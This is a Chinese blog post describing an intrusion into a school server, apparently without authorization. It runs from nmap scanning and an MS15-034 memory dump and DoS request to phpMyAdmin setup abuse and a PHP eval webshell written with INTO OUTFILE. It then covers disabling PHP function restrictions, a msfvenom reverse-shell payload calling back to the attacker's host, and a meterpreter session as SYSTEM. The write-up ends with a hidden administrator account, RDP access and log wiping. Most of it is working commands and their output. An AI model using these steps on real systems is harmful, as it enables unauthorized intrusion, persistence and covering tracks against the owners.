针对校园某服务器的一次渗透测试
發現學校其中一臺服務器可能(絕對)存在漏洞。我想(絕對)能拿下它;
而且滲透測試的過程很有趣,便將其記錄下來。
0x00 前期交互及信息收集
?
由于是對內網直接進行大掃描,所以直接判斷這不僅是一個Web服務器(多個),同時還運行著FTP、數據庫。
在此,再次使用nmap掃描一次,結果如下:
$ sudo nmap -T4 -n -sS -sV -O 192.168.3.72Nmap scan report for 192.168.3.72Host is up (0.00076s latency).Not shown: 974 closed portsPORT STATE SERVICE VERSION7/tcp open echo9/tcp open discard?13/tcp open daytime?17/tcp open qotd Windows qotd (English)19/tcp open chargen21/tcp open ftp FileZilla ftpd42/tcp open tcpwrapped80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)135/tcp filtered msrpc139/tcp filtered netbios-ssn445/tcp filtered microsoft-ds999/tcp open http Apache httpd 2.4.33 ((Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9 mod_jk/1.2.40)1801/tcp open msmq?2107/tcp open msrpc Microsoft Windows RPC2383/tcp open ms-olap4?3306/tcp open mysql MySQL 5.5.193389/tcp open ms-wbt-server?8009/tcp open ajp13 Apache Jserv (Protocol v1.3)8080/tcp open http Apache Tomcat/Coyote JSP engine 1.18082/tcp open http Microsoft IIS httpd 7.549152/tcp open msrpc Microsoft Windows RPC1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port13-TCP:V=7.70%I=7%D=8/13%Time=5D53656C%P=x86_64-unknown-linux-gnu%rSF:(NULL,12,"23:35:37\x202019/8/13\n")%r(NCP,12,"23:35:37\x202019/8/13\n");Device type: general purposeRunning: Microsoft Windows Vista|2008|7OS CPE: cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_vista::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_7OS details: Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7Network Distance: 2 hopsService Info: OS: Windows; CPE: cpe:/o:microsoft:windows乍一看,跑了這么多服務。初步判斷很可能有 vulnerabilities。
?
總結,這是一臺操作系統為 Windows(目前未能確認具體版本)的、運行著FileZilla FTP、MySQL 5.5.19、Web等服務;而且開放了太多端口。
Web服務器端口: 80、999、8080、8082; 運行著這個幾個Web服務。
不過經確認,只有999 Apache和8082 IIS兩個端口提供的Web服務正常。
而且,999端口運行著phpMyAdmin(一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫),當然也是漏洞多多。
0x01 遠程代碼執行???
?
在我一頓瞎幾掰操作下,其實是利用掃描器加手動驗證;找到一個致命漏洞,該漏洞存在于端口 8082 IIS 服務器上。
?
MS15-034 復現
?
HTTP.sys 遠程執行代碼漏洞 - CVE-2015-1635
當 HTTP.sys 未正確分析經特殊設計的 HTTP 請求時會導致此漏洞。成功利用此漏洞的攻擊者可以在系統帳戶的上下文中執行任意代碼。
若要利用此漏洞,攻擊者必須將經特殊設計的 HTTP 請求發送到受影響的系統。通過修改 Windows HTTP 堆棧處理請求的方式,此更新可以修復此漏洞。
詳細
根據微軟安全公告,此漏洞貌似可以遠程任意代碼執行;但就實際復現來說,好像并不成立。
?
通過給 IIS 服務器發送如下 HTTP 請求,便可觸發這個漏洞。
GET / HTTP/1.1 Host: stuff Range: bytes=0-18446744073709551615而我就直接使用的 wget 測試此漏洞,當然還可以使用 curl 和 MSF。
?
$ wget --header="Range: bytes=0-18446744073709551615" http://192.168.3.72:8082/Images/top01.gif--2019-08-13 23:44:03-- http://192.168.3.72:8082/Images/top01.gifConnecting to 192.168.3.72:8082... connected.HTTP request sent, awaiting response... 416 Requested Range Not Satisfiable The file is already fully retrieved; nothing to do.?
如上請求包,若IIS服務器返回"Requested Range Not Satisfiable",則是存在漏洞,否則如果返回"The request has an invalid header name", 則說明漏洞已經修補。
進一步利用/危害
?
前面的遠程任意代碼執行并不成立;此漏洞就當前利用來說,只能造成兩種危害。
我使用MSF來exploit利用方式。
如下,使用MSF讀取服務器內核內存數據。
msf5 > use auxiliary/scanner/http/ms15_034_http_sys_memory_dumpmsf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RHOSTS 192.168.3.72msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RPORT 8082msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set TARGETURI /Images/top01.gifmsf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > exploit [+] Target may be vulnerable...[+] Stand by...[-] Memory dump start position not found, dumping all data instead [+] Memory contents:48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 |HTTP/1.1 400 Bad|20 52 65 71 75 65 73 74 0d 0a 43 6f 6e 74 65 6e | Request..Conten|74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d |t-Type: text/htm|6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 |l; charset=us-as|63 69 69 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 |cii..Server: Mic|… … … … … … … … …72 6f 73 6f 66 74 2d 48 54 54 50 41 50 49 2f 32 |rosoft-HTTPAPI/2|45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 |Error 400. The r|65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 |equest hostname |69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d |is invalid.</p>.|0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d |.</BODY></HTML>.|0a |.|[+] Memory dump saved to /home/f4n9x/.msf4/loot/20190814122223_default_192.168.3.72_iis.ms15034_317502.bin[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed第二種,我直接使用 wget 命令。
$ wget --header="Range: bytes=18-18446744073709551615"?http://192.168.3.72/Images/top01.gif
?
在敲這條命令時,我雙手一直是抖的🙃🙃。
?
這條命令回車下去直接對服務器造成DoS攻擊,服務器必定假死或藍屏;我就不回車了.......
此漏洞利用,就到此位置嘍...
0x02 由 phpMyAdmin 入手
?
還不甘心,難道僅僅只能讓此服務器藍屏重啟嗎
得想想辦法拿到最高控制權
?
再次整理思路……
phpMyAdmin URL 主頁:192.168.3.72:999
?
目錄爆破
?
首先使用了nikto掃描了此站是否還有其他目錄。
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
重點在 “+ OSVDB-3092: /setup/: This might be interesting…“,這一條。
?
setup 沒被關閉;由此判斷管理員默認安裝,這是很大的隱患。
如果管理員未對phpmyadmin目錄下的setup文件進行安全處理,那普通用戶可以在不進行身份認證的情況下,便可以配置服務器信息。
在這里呢!直接反手新建了一個服務器(MySQL服務器)。
而且在認證頁面發現緩存的密碼(huweishen.com),根據密碼可猜測phpMyAdmin安裝方式應該是此護衛神網站上的某款軟件傻瓜式安裝滴!
回到主頁,未出意外地登錄進去了。
CVE-2016-5734
?
中間還有一個小插曲。找到一個 phpMyAdmin 需身份驗證的遠程代碼執行漏洞。
CVE-2016-5734_POC
$ ./cve-2016-5734.py -c 'system(ipconfig);' -u root -p toor http://192.168.5.99:999/ ERROR: #1286 - Unknown storage engine 'InnoDB'但是很不幸,MySQL中未開啟InnoDB引擎。而開啟方法只能是編輯系統中MySQL的配置文件my.cnf。
MySQL [(none)]> show variables like "%innodb%"; +-----------------------+----------+ | Variable_name | Value | +-----------------------+----------+ | have_innodb | DISABLED | | ignore_builtin_innodb | OFF | +-----------------------+----------+ 2 rows in set (0.002 sec)CVE-2016-5734 利用失敗。。。
?
尋絕對路徑,外寫木馬
?
經測試發現,MySQL中,into outfile未被禁用,而且這里也不存在WAF攔截;root用戶擁有向外寫文件的權限。
MySQL [(none)]> SELECT @@global.secure_file_priv;+---------------------------+| @@global.secure_file_priv |+---------------------------+| |+---------------------------+1 row in set (0.001 sec)再查詢未使用secure-file-priv參數;這說明不僅能向外寫文件,而且想往哪里寫就往哪里寫。
所以,只需找到Web物理路徑;使用SQL語句向Web目錄寫個一句話木馬,就能拿到服務器的shell。
首先先判斷當前MySQL的數據、插件等目錄:
MySQL [(none)]> show variables like "%dir%";+-----------------------------------------+------------------------------------------+| Variable_name | Value |+-----------------------------------------+------------------------------------------+| basedir | D:/HwsApacheMaster/mysql/ || binlog_direct_non_transactional_updates | OFF || character_sets_dir | D:\HwsApacheMaster\mysql\share\charsets\ || datadir | D:\HwsApacheMaster\mysql\Data\ || lc_messages_dir | D:\HwsApacheMaster\mysql\share\ || plugin_dir | D:\HwsApacheMaster\mysql\lib/plugin || slave_load_tmpdir | C:\Users\MYSQL_~1.005\AppData\Local\Temp || tmpdir | C:\Users\MYSQL_~1.005\AppData\Local\Temp |+-----------------------------------------+------------------------------------------+8 rows in set (0.002 sec)發現D:\下一個有趣的目錄HwsApacheMaster,僅此而已。
此時把精力轉向Web頁面,打算在網頁上瞎幾把亂試,指望Web Application程序出錯,大力出奇跡的報錯將Web物理路徑爆出來。絞盡腦汁地讓程序報錯;可惜,并沒有。
思考許久……思路來了。
?
前面通過瀏覽器緩存發現的那個密碼(huweishen.com)很有意思,通過這個密碼可以發現,phpMyAdmin是管理員默認安裝的;靈光一現,直接去這個網站下載這個傻瓜式一鍵安裝的軟件(護衛神),安裝至本地測試,不就知道了物理路徑了嘛
這款軟件叫做【護衛神·Apache大師】;安裝一整套環境至本地,發現目錄結構如下:
├── D:/│ ├── HwsApacheMaster│ │ ├── phpmyadmin│ │ │ ├── web│ │ │ | ├── libraries│ │ │ | ├── database│ │ │ | ├── doc│ │ │ | ├── js│ │ │ | ├── setup│ │ │ | ├── themes│ │ ├── Apache2.2│ │ ├── Tomcat8│ │ ├── mysql│ │ ├── Java│ │ ├── php… … … … …此時很明確了,直接一句話木馬寫至某目錄;還有注意轉義符。
MySQL [(none)]> select "<?php @eval($_POST['a']); ?>" into outfile 'D:\\HwsApacheMaster\\phpMyAdmin\\web\\she11.php';Query OK, 1 row affected (0.002 sec)然后,就可以使用菜刀等shell連接工具與木馬進行連接;連接密碼為a。
0x03 后滲透測試
?
中國蟻劍
由于菜刀只能在Windows上使用,而我操作系統為 Linux,使用的是另一款 shell 連接工具?AntSword(蟻劍)?, 開源、跨平臺的網站(shell)管理工具。
?
?
連接上去后,進入終端,輸入cmd命令會發現無法執行。
?
D:\HwsApacheMaster\phpmyadmin\web> whoamiret=127這說明,php配置文件php.ini中將一些危險函數給禁用掉了,即disable_functions。將此項刪除,清理一下緩存,便可以執行cmd了。
D:\HwsApacheMaster\phpmyadmin\web> whoamint authority\system哇!system 權限。可是比Administrator管理員用戶權限還要大,這也省的我之后的提權了。
連接 Metasploit
?
由于菜刀、蟻劍這類工具功能相比于MSF功能比較欠缺,所以我要再次生成一個木馬用來反彈shell連接MSF。
$ msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.23 LPORT=4444 -f exe -o she11.exe?
參數:
--platform? 平臺
? ? -p? ? ? ?payload, 有效載荷
? ? LHOST? ?本地IP? ?
? ? LPORT? ?本地端口
? ? -f? ? ? ? ? ? ?生成文件類型
? ? -o? ? ? ? ? ? 輸出文件名
將生成的木馬通過蟻劍傳至服務器上一個有執行權限的目錄;雖然我和服務器并不在一個網段(本以為要做內網穿透的),但防火墻為關閉狀態,依舊能夠建立連接。
?
首先,MSF先在本地偵聽著4444端口,等著shell反彈回來。
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.5.23 msf5 exploit(multi/handler) > set LPORT 4444 msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.5.23:4444然后使用蟻劍,在CMD終端中執行剛剛生成的那個木馬文件(she11.exe)
C:\Windows\System32> C:/Windows/System32/she11.exe
回車執行這個 exe 后,在 MSF 這邊就會生成一個 meterpreter。
[*] Started reverse TCP handler on 192.168.5.23:4444[*] Sending stage (206403 bytes) to 192.168.3.72[*] Meterpreter session 1 opened (192.168.5.23:4444 -> 192.168.3.72:55580) at 2019-08-14 17:59:57 +0800 meterpreter >getuid 獲取當前用戶,還是 SYSTEM 。
- ?
開啟遠程?RDP?連接
?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
?
查看剛剛開啟 RDP 執行的具體命令。
- ?
- ?
進入 CMD 模式。
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
創建一個隱藏用戶(Windows中在用戶名后帶上$即為隱藏用戶,僅是簡單隱藏),并拉入管理員用戶組,查看。
?
C:\Windows\System32>net user she11$ D@i123 /add C:\Windows\System32>net localgroup administrators she11$ /add C:\Windows\System32>net user she11$用戶名 she11$全名注釋用戶的注釋國家/地區代碼 000 (系統默認值)帳戶啟用 Yes帳戶到期 從不上次設置密碼 2019/8/14 0:30:02密碼到期 2019/9/25 0:30:02密碼可更改 2019/8/14 0:30:02需要密碼 Yes用戶可以更改密碼 Yes允許的工作站 All登錄腳本用戶配置文件主目錄上次登錄 2019/8/14 0:44:40可允許的登錄小時數 All本地組成員 *Administrators *Users全局組成員 *None命令成功完成。完成后,直接登錄到服務器。
$ rdesktop 192.168.3.72 -u she11$ -p D@i123 -g 1024x960此過程中難免會留下日志信息痕跡,使用此命令來清理日志。
meterpreter > clearev[*] Wiping 16000 records from Application...[*] Wiping 20128 records from System...[*] Wiping 18688 records from Security...總結
以上是生活随笔為你收集整理的针对校园某服务器的一次渗透测试的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【vulnhub】靶机- [DC系列]D
- 下一篇: 某省HW中遇到的提权